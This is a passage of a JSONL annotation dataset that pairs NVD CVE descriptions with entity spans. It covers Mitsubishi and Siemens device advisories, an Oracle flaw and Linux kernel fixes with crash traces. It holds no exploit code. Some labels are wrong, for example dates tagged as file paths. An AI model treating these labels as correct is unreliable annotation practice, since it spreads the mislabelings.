L26CPU-(P)BT all versions, Mitsubishi Electric MELSEC L series LJ71C24(-R2) all versions, Mitsubishi Electric MELSEC L series LJ71E71-100 all versions and Mitsubishi Electric MELSEC L series LJ72GF15-T2 all versions allows a remote attacker to disclose or tamper with a file in which password hash is saved in cleartext.", "spans": {"FILEPATH: /01/02CPU": [[230, 239]], "FILEPATH: /08/16/32/120": [[296, 309]], "FILEPATH: /16/32/120SFCPU": [[373, 388]], "FILEPATH: /16/32/120PCPU": [[445, 459]], "FILEPATH: /16/32/120PSFCPU": [[516, 532]], "FILEPATH: /06/10/13/20/26/50/100UDEHCPU": [[975, 1004]], "FILEPATH: /04/06/13/26UDVCPU": [[1058, 1076]], "FILEPATH: /06/13/26UDPVCPU": [[1130, 1146]], "FILEPATH: /06/26CPU": [[1329, 1338]], "VULNERABILITY: Cleartext Storage": [[0, 17]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-25158"}}
{"text": "A vulnerability has been identified in IEC 1Ph 7.4kW Child socket (8EM1310-2EH04-0GA0) (All versions < V2.135), IEC 1Ph 7.4kW Child socket/ shutter (8EM1310-2EN04-0GA0) (All versions < V2.135), IEC 1Ph 7.4kW Parent cable 7m (8EM1310-2EJ04-3GA1) (All versions < V2.135), IEC 1Ph 7.4kW Parent cable 7m incl. SIM (8EM1310-2EJ04-3GA2) (All versions < V2.135), IEC 1Ph 7.4kW Parent socket (8EM1310-2EH04-3GA1) (All versions < V2.135), IEC 1Ph 7.4kW Parent socket incl. SIM (8EM1310-2EH04-3GA2) (All versions < V2.135), IEC 1Ph 7.4kW Parent socket/ shutter (8EM1310-2EN04-3GA1) (All versions < V2.135), IEC 1Ph 7.4kW Parent socket/ shutter SIM (8EM1310-2EN04-3GA2) (All versions < V2.135), IEC 3Ph 22kW Child cable 7m (8EM1310-3EJ04-0GA0) (All versions < V2.135), IEC 3Ph 22kW Child socket (8EM1310-3EH04-0GA0) (All versions < V2.135), IEC 3Ph 22kW Child socket/ shutter (8EM1310-3EN04-0GA0) (All versions < V2.135), IEC 3Ph 22kW Parent cable 7m (8EM1310-3EJ04-3GA1) (All versions < V2.135), IEC 3Ph 22kW Parent cable 7m incl. SIM (8EM1310-3EJ04-3GA2) (All versions < V2.135), IEC 3Ph 22kW Parent socket (8EM1310-3EH04-3GA1) (All versions < V2.135), IEC 3Ph 22kW Parent socket incl. SIM (8EM1310-3EH04-3GA2) (All versions < V2.135), IEC 3Ph 22kW Parent socket/ shutter (8EM1310-3EN04-3GA1) (All versions < V2.135), IEC 3Ph 22kW Parent socket/ shutter SIM (8EM1310-3EN04-3GA2) (All versions < V2.135), IEC ERK 3Ph 22 kW Child cable 7m (8EM1310-3FJ04-0GA0) (All versions < V2.135), IEC ERK 3Ph 22 kW Child cable 7m (8EM1310-3FJ04-0GA1) (All versions < V2.135), IEC ERK 3Ph 22 kW Child cable 7m (8EM1310-3FJ04-0GA2) (All versions < V2.135), IEC ERK 3Ph 22 kW Child socket (8EM1310-3FH04-0GA0) (All versions < V2.135), IEC ERK 3Ph 22 kW Parent socket (8EM1310-3FH04-3GA1) (All versions < V2.135), IEC ERK 3Ph 22 kW Parent socket incl. SI (8EM1310-3FH04-3GA2) (All versions < V2.135), UL Commercial Cellular 48A NTEP (8EM1310-5HF14-1GA2) (All versions < V2.135), UL Commercial Child 40A w/ 15118 HW (8EM1310-4CF14-0GA0) (All versions < V2.135), UL Commercial Child 48A BA Compliant (8EM1315-5CG14-0GA0) (All versions < V2.135), UL Commercial Child 48A w/ 15118 HW (8EM1310-5CF14-0GA0) (All versions < V2.135), UL Commercial Parent 40A with Simcard (8EM1310-4CF14-1GA2) (All versions < V2.135), UL Commercial Parent 48A (USPS) (8EM1317-5CG14-1GA2) (All versions < V2.135), UL Commercial Parent 48A BA Compliant (8EM1315-5CG14-1GA2) (All versions < V2.135), UL Commercial Parent 48A with Simcard BA (8EM1310-5CF14-1GA2) (All versions < V2.135), UL Commercial Parent 48A, 15118, 25ft (8EM1310-5CG14-1GA1) (All versions < V2.135), UL Commercial Parent 48A, 15118, 25ft (8EM1314-5CG14-2FA2) (All versions < V2.135), UL Commercial Parent 48A, 15118, 25ft (8EM1315-5HG14-1GA2) (All versions < V2.135), UL Commercial Parent 48A,15118 25ft Sim (8EM1310-5CG14-1GA2) (All versions < V2.135), VersiCharge Blue™ 80A AC Cellular (8EM1315-7BG16-1FH2) (All versions < V2.135). Affected devices contain Modbus service enabled by default. This could allow an attacker connected to the same network to remotely control the EV charger.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-31930"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/msg_ring: ensure io_kiocb freeing is deferred for RCU\n\nsyzbot reports that defer/local task_work adding via msg_ring can hit\na request that has been freed:\n\nCPU: 1 UID: 0 PID: 19356 Comm: iou-wrk-19354 Not tainted 6.16.0-rc4-syzkaller-00108-g17bbde2e1716 #0 PREEMPT(full)\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 05/07/2025\nCall Trace:\n <TASK>\n dump_stack_lvl+0x189/0x250 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:408 [inline]\n print_report+0xd2/0x2b0 mm/kasan/report.c:521\n kasan_report+0x118/0x150 mm/kasan/report.c:634\n io_req_local_work_add io_uring/io_uring.c:1184 [inline]\n __io_req_task_work_add+0x589/0x950 io_uring/io_uring.c:1252\n io_msg_remote_post io_uring/msg_ring.c:103 [inline]\n io_msg_data_remote io_uring/msg_ring.c:133 [inline]\n __io_msg_ring_data+0x820/0xaa0 io_uring/msg_ring.c:151\n io_msg_ring_data io_uring/msg_ring.c:173 [inline]\n io_msg_ring+0x134/0xa00 io_uring/msg_ring.c:314\n __io_issue_sqe+0x17e/0x4b0 io_uring/io_uring.c:1739\n io_issue_sqe+0x165/0xfd0 io_uring/io_uring.c:1762\n io_wq_submit_work+0x6e9/0xb90 io_uring/io_uring.c:1874\n io_worker_handle_work+0x7cd/0x1180 io_uring/io-wq.c:642\n io_wq_worker+0x42f/0xeb0 io_uring/io-wq.c:696\n ret_from_fork+0x3fc/0x770 arch/x86/kernel/process.c:148\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245\n </TASK>\n\nwhich is supposed to be safe with how requests are allocated. But msg\nring requests alloc and free on their own, and hence must defer freeing\nto a sane time.\n\nAdd an rcu_head and use kfree_rcu() in both spots where requests are\nfreed. Only the one in io_msg_tw_complete() is strictly required as it\nhas been visible on the other ring, but use it consistently in the other\nspot as well.\n\nThis should not cause any other issues outside of KASAN rightfully\ncomplaining about it.", "spans": {"FILEPATH: /07/2025": [[431, 439]], "FILEPATH: /kasan/report.c": [[538, 553], [594, 609], [642, 657]], "FILEPATH: /x86/kernel/process.c": [[1337, 1358]], "FILEPATH: /x86/entry/entry_64.S": [[1396, 1417]], "FILEPATH: dump_stack.c": [[492, 504]], "FILEPATH: io_uring.c": [[694, 704], [764, 774], [1079, 1089], [1130, 1140], [1186, 1196]], "FILEPATH: msg_ring.c": [[809, 819], [862, 872], [927, 937], [969, 979], [1027, 1037]], "FILEPATH: wq.c": [[1250, 1254], [1297, 1301]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[365, 371], [372, 378], [394, 400], [422, 428]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38453"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nvirtio_ring: Fix data race by tagging event_triggered as racy for KCSAN\n\nsyzbot reports a data-race when accessing the event_triggered, here is the\nsimplified stack when the issue occurred:\n\n==================================================================\nBUG: KCSAN: data-race in virtqueue_disable_cb / virtqueue_enable_cb_delayed\n\nwrite to 0xffff8881025bc452 of 1 bytes by task 3288 on cpu 0:\n virtqueue_enable_cb_delayed+0x42/0x3c0 drivers/virtio/virtio_ring.c:2653\n start_xmit+0x230/0x1310 drivers/net/virtio_net.c:3264\n __netdev_start_xmit include/linux/netdevice.h:5151 [inline]\n netdev_start_xmit include/linux/netdevice.h:5160 [inline]\n xmit_one net/core/dev.c:3800 [inline]\n\nread to 0xffff8881025bc452 of 1 bytes by interrupt on cpu 1:\n virtqueue_disable_cb_split drivers/virtio/virtio_ring.c:880 [inline]\n virtqueue_disable_cb+0x92/0x180 drivers/virtio/virtio_ring.c:2566\n skb_xmit_done+0x5f/0x140 drivers/net/virtio_net.c:777\n vring_interrupt+0x161/0x190 drivers/virtio/virtio_ring.c:2715\n __handle_irq_event_percpu+0x95/0x490 kernel/irq/handle.c:158\n handle_irq_event_percpu kernel/irq/handle.c:193 [inline]\n\nvalue changed: 0x01 -> 0x00\n==================================================================\n\nWhen the data race occurs, the function virtqueue_enable_cb_delayed() sets\nevent_triggered to false, and virtqueue_disable_cb_split/packed() reads it\nas false due to the race condition. Since event_triggered is an unreliable\nhint used for optimization, this should only cause the driver temporarily\nsuggest that the device not send an interrupt notification when the event\nindex is used.\n\nFix this KCSAN reported data-race issue by explicitly tagging the access as\ndata_racy.", "spans": {"FILEPATH: /virtio/virtio_ring.c": [[513, 534], [851, 872], [926, 947], [1044, 1065]], "FILEPATH: /net/virtio_net.c": [[572, 589], [986, 1003]], "FILEPATH: /linux/netdevice.h": [[623, 641], [682, 700]], "FILEPATH: /core/dev.c": [[728, 739]], "FILEPATH: /irq/handle.c": [[1115, 1128], [1164, 1177]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: race condition": [[1458, 1472]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38048"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/ntfs3: Add overflow check for attribute size\n\nThe offset addition could overflow and pass the used size check given an\nattribute with very large size (e.g., 0xffffff7f) while parsing MFT\nattributes. This could lead to out-of-bound memory R/W if we try to\naccess the next attribute derived by Add2Ptr(attr, asize)\n\n[   32.963847] BUG: unable to handle page fault for address: ffff956a83c76067\n[   32.964301] #PF: supervisor read access in kernel mode\n[   32.964526] #PF: error_code(0x0000) - not-present page\n[   32.964893] PGD 4dc01067 P4D 4dc01067 PUD 0\n[   32.965316] Oops: 0000 [#1] PREEMPT SMP NOPTI\n[   32.965727] CPU: 0 PID: 243 Comm: mount Not tainted 5.19.0+ #6\n[   32.966050] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014\n[   32.966628] RIP: 0010:mi_enum_attr+0x44/0x110\n[   32.967239] Code: 89 f0 48 29 c8 48 89 c1 39 c7 0f 86 94 00 00 00 8b 56 04 83 fa 17 0f 86 88 00 00 00 89 d0 01 ca 48 01 f0 8d 4a 08 39 f9a\n[   32.968101] RSP: 0018:ffffba15c06a7c38 EFLAGS: 00000283\n[   32.968364] RAX: ffff956a83c76067 RBX: ffff956983c76050 RCX: 000000000000006f\n[   32.968651] RDX: 0000000000000067 RSI: ffff956983c760e8 RDI: 00000000000001c8\n[   32.968963] RBP: ffffba15c06a7c38 R08: 0000000000000064 R09: 00000000ffffff7f\n[   32.969249] R10: 0000000000000007 R11: ffff956983c760e8 R12: ffff95698225e000\n[   32.969870] R13: 0000000000000000 R14: ffffba15c06a7cd8 R15: ffff95698225e170\n[   32.970655] FS:  00007fdab8189e40(0000) GS:ffff9569fdc00000(0000) knlGS:0000000000000000\n[   32.971098] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[   32.971378] CR2: ffff956a83c76067 CR3: 0000000002c58000 CR4: 00000000000006f0\n[   32.972098] Call Trace:\n[   32.972842]  <TASK>\n[   32.973341]  ni_enum_attr_ex+0xda/0xf0\n[   32.974087]  ntfs_iget5+0x1db/0xde0\n[   32.974386]  ? slab_post_alloc_hook+0x53/0x270\n[   32.974778]  ? ntfs_fill_super+0x4c7/0x12a0\n[   32.975115]  ntfs_fill_super+0x5d6/0x12a0\n[   32.975336]  get_tree_bdev+0x175/0x270\n[   32.975709]  ? put_ntfs+0x150/0x150\n[   32.975956]  ntfs_fs_get_tree+0x15/0x20\n[   32.976191]  vfs_get_tree+0x2a/0xc0\n[   32.976374]  ? capable+0x19/0x20\n[   32.976572]  path_mount+0x484/0xaa0\n[   32.977025]  ? putname+0x57/0x70\n[   32.977380]  do_mount+0x80/0xa0\n[   32.977555]  __x64_sys_mount+0x8b/0xe0\n[   32.978105]  do_syscall_64+0x3b/0x90\n[   32.978830]  entry_SYSCALL_64_after_hwframe+0x63/0xcd\n[   32.979311] RIP: 0033:0x7fdab72e948a\n[   32.980015] Code: 48 8b 0d 11 fa 2a 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 49 89 ca b8 a5 00 00 008\n[   32.981251] RSP: 002b:00007ffd15b87588 EFLAGS: 00000206 ORIG_RAX: 00000000000000a5\n[   32.981832] RAX: ffffffffffffffda RBX: 0000557de0aaf060 RCX: 00007fdab72e948a\n[   32.982234] RDX: 0000557de0aaf260 RSI: 0000557de0aaf2e0 RDI: 0000557de0ab7ce0\n[   32.982714] RBP: 0000000000000000 R08: 0000557de0aaf280 R09: 0000000000000020\n[   32.983046] R10: 00000000c0ed0000 R11: 0000000000000206 R12: 0000557de0ab7ce0\n[   32.983494] R13: 0000557de0aaf260 R14: 0000000000000000 R15: 00000000ffffffff\n[   32.984094]  </TASK>\n[   32.984352] Modules linked in:\n[   32.984753] CR2: ffff956a83c76067\n[   32.985911] ---[ end trace 0000000000000000 ]---\n[   32.986555] RIP: 0010:mi_enum_attr+0x44/0x110\n[   32.987217] Code: 89 f0 48 29 c8 48 89 c1 39 c7 0f 86 94 00 00 00 8b 56 04 83 fa 17 0f 86 88 00 00 00 89 d0 01 ca 48 01 f0 8d 4a 08 39 f9a\n[   32.988232] RSP: 0018:ffffba15c06a7c38 EFLAGS: 00000283\n[   32.988532] RAX: ffff956a83c76067 RBX: ffff956983c76050 RCX: 000000000000006f\n[   32.988916] RDX: 0000000000000067 RSI: ffff956983c760e8 RDI: 00000000000001c8\n[   32.989356] RBP: ffffba15c06a7c38 R08: 0000000000000064 R09: 00000000ffffff7f\n[   32.989994] R10: 0000000000000007 R11: ffff956983c760e8 R12: ffff95698225e000\n[   32.990415] R13: 0000000000000000 R14: ffffba15c06a7cd8 R15: ffff95698225e170\n[   32.991011] FS:  \n---truncated---", "spans": {"DOMAIN: rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org": [[817, 861]], "FILEPATH: /01/2014": [[864, 872]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[772, 776]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50841"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/hugetlb: fix hugetlb vs. core-mm PT locking\n\nWe recently made GUP's common page table walking code to also walk hugetlb\nVMAs without most hugetlb special-casing, preparing for the future of\nhaving less hugetlb-specific page table walking code in the codebase. \nTurns out that we missed one page table locking detail: page table locking\nfor hugetlb folios that are not mapped using a single PMD/PUD.\n\nAssume we have hugetlb folio that spans multiple PTEs (e.g., 64 KiB\nhugetlb folios on arm64 with 4 KiB base page size).  GUP, as it walks the\npage tables, will perform a pte_offset_map_lock() to grab the PTE table\nlock.\n\nHowever, hugetlb that concurrently modifies these page tables would\nactually grab the mm->page_table_lock: with USE_SPLIT_PTE_PTLOCKS, the\nlocks would differ.  Something similar can happen right now with hugetlb\nfolios that span multiple PMDs when USE_SPLIT_PMD_PTLOCKS.\n\nThis issue can be reproduced [1], for example triggering:\n\n[ 3105.936100] ------------[ cut here ]------------\n[ 3105.939323] WARNING: CPU: 31 PID: 2732 at mm/gup.c:142 try_grab_folio+0x11c/0x188\n[ 3105.944634] Modules linked in: [...]\n[ 3105.974841] CPU: 31 PID: 2732 Comm: reproducer Not tainted 6.10.0-64.eln141.aarch64 #1\n[ 3105.980406] Hardware name: QEMU KVM Virtual Machine, BIOS edk2-20240524-4.fc40 05/24/2024\n[ 3105.986185] pstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[ 3105.991108] pc : try_grab_folio+0x11c/0x188\n[ 3105.994013] lr : follow_page_pte+0xd8/0x430\n[ 3105.996986] sp : ffff80008eafb8f0\n[ 3105.999346] x29: ffff80008eafb900 x28: ffffffe8d481f380 x27: 00f80001207cff43\n[ 3106.004414] x26: 0000000000000001 x25: 0000000000000000 x24: ffff80008eafba48\n[ 3106.009520] x23: 0000ffff9372f000 x22: ffff7a54459e2000 x21: ffff7a546c1aa978\n[ 3106.014529] x20: ffffffe8d481f3c0 x19: 0000000000610041 x18: 0000000000000001\n[ 3106.019506] x17: 0000000000000001 x16: ffffffffffffffff x15: 0000000000000000\n[ 3106.024494] x14: ffffb85477fdfe08 x13: 0000ffff9372ffff x12: 0000000000000000\n[ 3106.029469] x11: 1fffef4a88a96be1 x10: ffff7a54454b5f0c x9 : ffffb854771b12f0\n[ 3106.034324] x8 : 0008000000000000 x7 : ffff7a546c1aa980 x6 : 0008000000000080\n[ 3106.038902] x5 : 00000000001207cf x4 : 0000ffff9372f000 x3 : ffffffe8d481f000\n[ 3106.043420] x2 : 0000000000610041 x1 : 0000000000000001 x0 : 0000000000000000\n[ 3106.047957] Call trace:\n[ 3106.049522]  try_grab_folio+0x11c/0x188\n[ 3106.051996]  follow_pmd_mask.constprop.0.isra.0+0x150/0x2e0\n[ 3106.055527]  follow_page_mask+0x1a0/0x2b8\n[ 3106.058118]  __get_user_pages+0xf0/0x348\n[ 3106.060647]  faultin_page_range+0xb0/0x360\n[ 3106.063651]  do_madvise+0x340/0x598\n\nLet's make huge_pte_lockptr() effectively use the same PT locks as any\ncore-mm page table walker would.  Add ptep_lockptr() to obtain the PTE\npage table lock using a pte pointer -- unfortunately we cannot convert\npte_lockptr() because virt_to_page() doesn't work with kmap'ed page tables\nwe can have with CONFIG_HIGHPTE.\n\nHandle CONFIG_PGTABLE_LEVELS correctly by checking in reverse order, such\nthat when e.g., CONFIG_PGTABLE_LEVELS==2 with\nPGDIR_SIZE==P4D_SIZE==PUD_SIZE==PMD_SIZE will work as expected.  Document\nwhy that works.\n\nThere is one ugly case: powerpc 8xx, whereby we have an 8 MiB hugetlb\nfolio being mapped using two PTE page tables.  While hugetlb wants to take\nthe PMD table lock, core-mm would grab the PTE table lock of one of both\nPTE page tables.  In such corner cases, we have to make sure that both\nlocks match, which is (fortunately!) currently guaranteed for 8xx as it\ndoes not support SMP and consequently doesn't use split PT locks.\n\n[1] https://lore.kernel.org/all/1bbfcc7f-f222-45a5-ac44-c5a1381c596d@redhat.com/", "spans": {"URL: https://lore.kernel.org/all/1bbfcc7f-f222-45a5-ac44-c5a1381c596d@redhat.com/": [[3677, 3753]], "FILEPATH: /24/2024": [[1375, 1383]], "FILEPATH: gup.c": [[1124, 1129]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1321, 1325]], "SYSTEM: KVM": [[1326, 1329]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-45024"}}
{"text": "Vulnerability in the Oracle E-Business Suite Secure Enterprise Search product of Oracle E-Business Suite (component: Search Integration Engine). Supported versions that are affected are 12.1.3 and 12.2.3 - 12.2.10. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle E-Business Suite Secure Enterprise Search. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle E-Business Suite Secure Enterprise Search accessible data as well as unauthorized access to critical data or complete access to all Oracle E-Business Suite Secure Enterprise Search accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [81, 87], [323, 329], [507, 513], [646, 652]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14805"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing/eprobes: Do not allow eprobes to use $stack, or % for regs\n\nWhile playing with event probes (eprobes), I tried to see what would\nhappen if I attempted to retrieve the instruction pointer (%rip) knowing\nthat event probes do not use pt_regs. The result was:\n\n BUG: kernel NULL pointer dereference, address: 0000000000000024\n #PF: supervisor read access in kernel mode\n #PF: error_code(0x0000) - not-present page\n PGD 0 P4D 0\n Oops: 0000 [#1] PREEMPT SMP PTI\n CPU: 1 PID: 1847 Comm: trace-cmd Not tainted 5.19.0-rc5-test+ #309\n Hardware name: Hewlett-Packard HP Compaq Pro 6300 SFF/339A, BIOS K01\nv03.03 07/14/2016\n RIP: 0010:get_event_field.isra.0+0x0/0x50\n Code: ff 48 c7 c7 c0 8f 74 a1 e8 3d 8b f5 ff e8 88 09 f6 ff 4c 89 e7 e8\n50 6a 13 00 48 89 ef 5b 5d 41 5c 41 5d e9 42 6a 13 00 66 90 <48> 63 47 24\n8b 57 2c 48 01 c6 8b 47 28 83 f8 02 74 0e 83 f8 04 74\n RSP: 0018:ffff916c394bbaf0 EFLAGS: 00010086\n RAX: ffff916c854041d8 RBX: ffff916c8d9fbf50 RCX: ffff916c255d2000\n RDX: 0000000000000000 RSI: ffff916c255d2008 RDI: 0000000000000000\n RBP: 0000000000000000 R08: ffff916c3a2a0c08 R09: ffff916c394bbda8\n R10: 0000000000000000 R11: 0000000000000000 R12: ffff916c854041d8\n R13: ffff916c854041b0 R14: 0000000000000000 R15: 0000000000000000\n FS:  0000000000000000(0000) GS:ffff916c9ea40000(0000)\nknlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 0000000000000024 CR3: 000000011b60a002 CR4: 00000000001706e0\n Call Trace:\n  <TASK>\n  get_eprobe_size+0xb4/0x640\n  ? __mod_node_page_state+0x72/0xc0\n  __eprobe_trace_func+0x59/0x1a0\n  ? __mod_lruvec_page_state+0xaa/0x1b0\n  ? page_remove_file_rmap+0x14/0x230\n  ? page_remove_rmap+0xda/0x170\n  event_triggers_call+0x52/0xe0\n  trace_event_buffer_commit+0x18f/0x240\n  trace_event_raw_event_sched_wakeup_template+0x7a/0xb0\n  try_to_wake_up+0x260/0x4c0\n  __wake_up_common+0x80/0x180\n  __wake_up_common_lock+0x7c/0xc0\n  do_notify_parent+0x1c9/0x2a0\n  exit_notify+0x1a9/0x220\n  do_exit+0x2ba/0x450\n  do_group_exit+0x2d/0x90\n  __x64_sys_exit_group+0x14/0x20\n  do_syscall_64+0x3b/0x90\n  entry_SYSCALL_64_after_hwframe+0x46/0xb0\n\nObviously this is not the desired result.\n\nMove the testing for TPARG_FL_TPOINT which is only used for event probes\nto the top of the \"$\" variable check, as all the other variables are not\nused for event probes. Also add a check in the register parsing \"%\" to\nfail if an event probe is used.", "spans": {"FILEPATH: /14/2016": [[680, 688]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: HP": [[633, 635]], "VULNERABILITY: NULL pointer dereference": [[347, 371]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50078"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5e: Don't call cleanup on profile rollback failure\n\nWhen profile rollback fails in mlx5e_netdev_change_profile, the netdev\nprofile var is left set to NULL. Avoid a crash when unloading the driver\nby not calling profile->cleanup in such a case.\n\nThis was encountered while testing, with the original trigger that\nthe wq rescuer thread creation got interrupted (presumably due to\nCtrl+C-ing modprobe), which gets converted to ENOMEM (-12) by\nmlx5e_priv_init, the profile rollback also fails for the same reason\n(signal still active) so the profile is left as NULL, leading to a crash\nlater in _mlx5e_remove.\n\n [  732.473932] mlx5_core 0000:08:00.1: E-Switch: Unload vfs: mode(OFFLOADS), nvfs(2), necvfs(0), active vports(2)\n [  734.525513] workqueue: Failed to create a rescuer kthread for wq \"mlx5e\": -EINTR\n [  734.557372] mlx5_core 0000:08:00.1: mlx5e_netdev_init_profile:6235:(pid 6086): mlx5e_priv_init failed, err=-12\n [  734.559187] mlx5_core 0000:08:00.1 eth3: mlx5e_netdev_change_profile: new profile init failed, -12\n [  734.560153] workqueue: Failed to create a rescuer kthread for wq \"mlx5e\": -EINTR\n [  734.589378] mlx5_core 0000:08:00.1: mlx5e_netdev_init_profile:6235:(pid 6086): mlx5e_priv_init failed, err=-12\n [  734.591136] mlx5_core 0000:08:00.1 eth3: mlx5e_netdev_change_profile: failed to rollback to orig profile, -12\n [  745.537492] BUG: kernel NULL pointer dereference, address: 0000000000000008\n [  745.538222] #PF: supervisor read access in kernel mode\n<snipped>\n [  745.551290] Call Trace:\n [  745.551590]  <TASK>\n [  745.551866]  ? __die+0x20/0x60\n [  745.552218]  ? page_fault_oops+0x150/0x400\n [  745.555307]  ? exc_page_fault+0x79/0x240\n [  745.555729]  ? asm_exc_page_fault+0x22/0x30\n [  745.556166]  ? mlx5e_remove+0x6b/0xb0 [mlx5_core]\n [  745.556698]  auxiliary_bus_remove+0x18/0x30\n [  745.557134]  device_release_driver_internal+0x1df/0x240\n [  745.557654]  bus_remove_device+0xd7/0x140\n [  745.558075]  device_del+0x15b/0x3c0\n [  745.558456]  mlx5_rescan_drivers_locked.part.0+0xb1/0x2f0 [mlx5_core]\n [  745.559112]  mlx5_unregister_device+0x34/0x50 [mlx5_core]\n [  745.559686]  mlx5_uninit_one+0x46/0xf0 [mlx5_core]\n [  745.560203]  remove_one+0x4e/0xd0 [mlx5_core]\n [  745.560694]  pci_device_remove+0x39/0xa0\n [  745.561112]  device_release_driver_internal+0x1df/0x240\n [  745.561631]  driver_detach+0x47/0x90\n [  745.562022]  bus_remove_driver+0x84/0x100\n [  745.562444]  pci_unregister_driver+0x3b/0x90\n [  745.562890]  mlx5_cleanup+0xc/0x1b [mlx5_core]\n [  745.563415]  __x64_sys_delete_module+0x14d/0x2f0\n [  745.563886]  ? kmem_cache_free+0x1b0/0x460\n [  745.564313]  ? lockdep_hardirqs_on_prepare+0xe2/0x190\n [  745.564825]  do_syscall_64+0x6d/0x140\n [  745.565223]  entry_SYSCALL_64_after_hwframe+0x4b/0x53\n [  745.565725] RIP: 0033:0x7f1579b1288b", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[1443, 1467]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50146"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nblktrace: fix __this_cpu_read/write in preemptible context\n\ntracing_record_cmdline() internally uses __this_cpu_read() and\n__this_cpu_write() on the per-CPU variable trace_cmdline_save, and\ntrace_save_cmdline() explicitly asserts preemption is disabled via\nlockdep_assert_preemption_disabled(). These operations are only safe\nwhen preemption is off, as they were designed to be called from the\nscheduler context (probe_wakeup_sched_switch() / probe_wakeup()).\n\n__blk_add_trace() was calling tracing_record_cmdline(current) early in\nthe blk_tracer path, before ring buffer reservation, from process\ncontext where preemption is fully enabled. This triggers the following\nusing blktests/blktrace/002:\n\nblktrace/002 (blktrace ftrace corruption with sysfs trace)   [failed]\n    runtime  0.367s  ...  0.437s\n    something found in dmesg:\n    [   81.211018] run blktests blktrace/002 at 2026-02-25 22:24:33\n    [   81.239580] null_blk: disk nullb1 created\n    [   81.357294] BUG: using __this_cpu_read() in preemptible [00000000] code: dd/2516\n    [   81.362842] caller is tracing_record_cmdline+0x10/0x40\n    [   81.362872] CPU: 16 UID: 0 PID: 2516 Comm: dd Tainted: G                 N  7.0.0-rc1lblk+ #84 PREEMPT(full)\n    [   81.362877] Tainted: [N]=TEST\n    [   81.362878] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org 04/01/2014\n    [   81.362881] Call Trace:\n    [   81.362884]  <TASK>\n    [   81.362886]  dump_stack_lvl+0x8d/0xb0\n    ...\n    (See '/mnt/sda/blktests/results/nodev/blktrace/002.dmesg' for the entire message)\n\n[   81.211018] run blktests blktrace/002 at 2026-02-25 22:24:33\n[   81.239580] null_blk: disk nullb1 created\n[   81.357294] BUG: using __this_cpu_read() in preemptible [00000000] code: dd/2516\n[   81.362842] caller is tracing_record_cmdline+0x10/0x40\n[   81.362872] CPU: 16 UID: 0 PID: 2516 Comm: dd Tainted: G                 N  7.0.0-rc1lblk+ #84 PREEMPT(full)\n[   81.362877] Tainted: [N]=TEST\n[   81.362878] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org 04/01/2014\n[   81.362881] Call Trace:\n[   81.362884]  <TASK>\n[   81.362886]  dump_stack_lvl+0x8d/0xb0\n[   81.362895]  check_preemption_disabled+0xce/0xe0\n[   81.362902]  tracing_record_cmdline+0x10/0x40\n[   81.362923]  __blk_add_trace+0x307/0x5d0\n[   81.362934]  ? lock_acquire+0xe0/0x300\n[   81.362940]  ? iov_iter_extract_pages+0x101/0xa30\n[   81.362959]  blk_add_trace_bio+0x106/0x1e0\n[   81.362968]  submit_bio_noacct_nocheck+0x24b/0x3a0\n[   81.362979]  ? lockdep_init_map_type+0x58/0x260\n[   81.362988]  submit_bio_wait+0x56/0x90\n[   81.363009]  __blkdev_direct_IO_simple+0x16c/0x250\n[   81.363026]  ? __pfx_submit_bio_wait_endio+0x10/0x10\n[   81.363038]  ? rcu_read_lock_any_held+0x73/0xa0\n[   81.363051]  blkdev_read_iter+0xc1/0x140\n[   81.363059]  vfs_read+0x20b/0x330\n[   81.363083]  ksys_read+0x67/0xe0\n[   81.363090]  do_syscall_64+0xbf/0xf00\n[   81.363102]  entry_SYSCALL_64_after_hwframe+0x76/0x7e\n[   81.363106] RIP: 0033:0x7f281906029d\n[   81.363111] Code: 31 c0 e9 c6 fe ff ff 50 48 8d 3d 66 63 0a 00 e8 59 ff 01 00 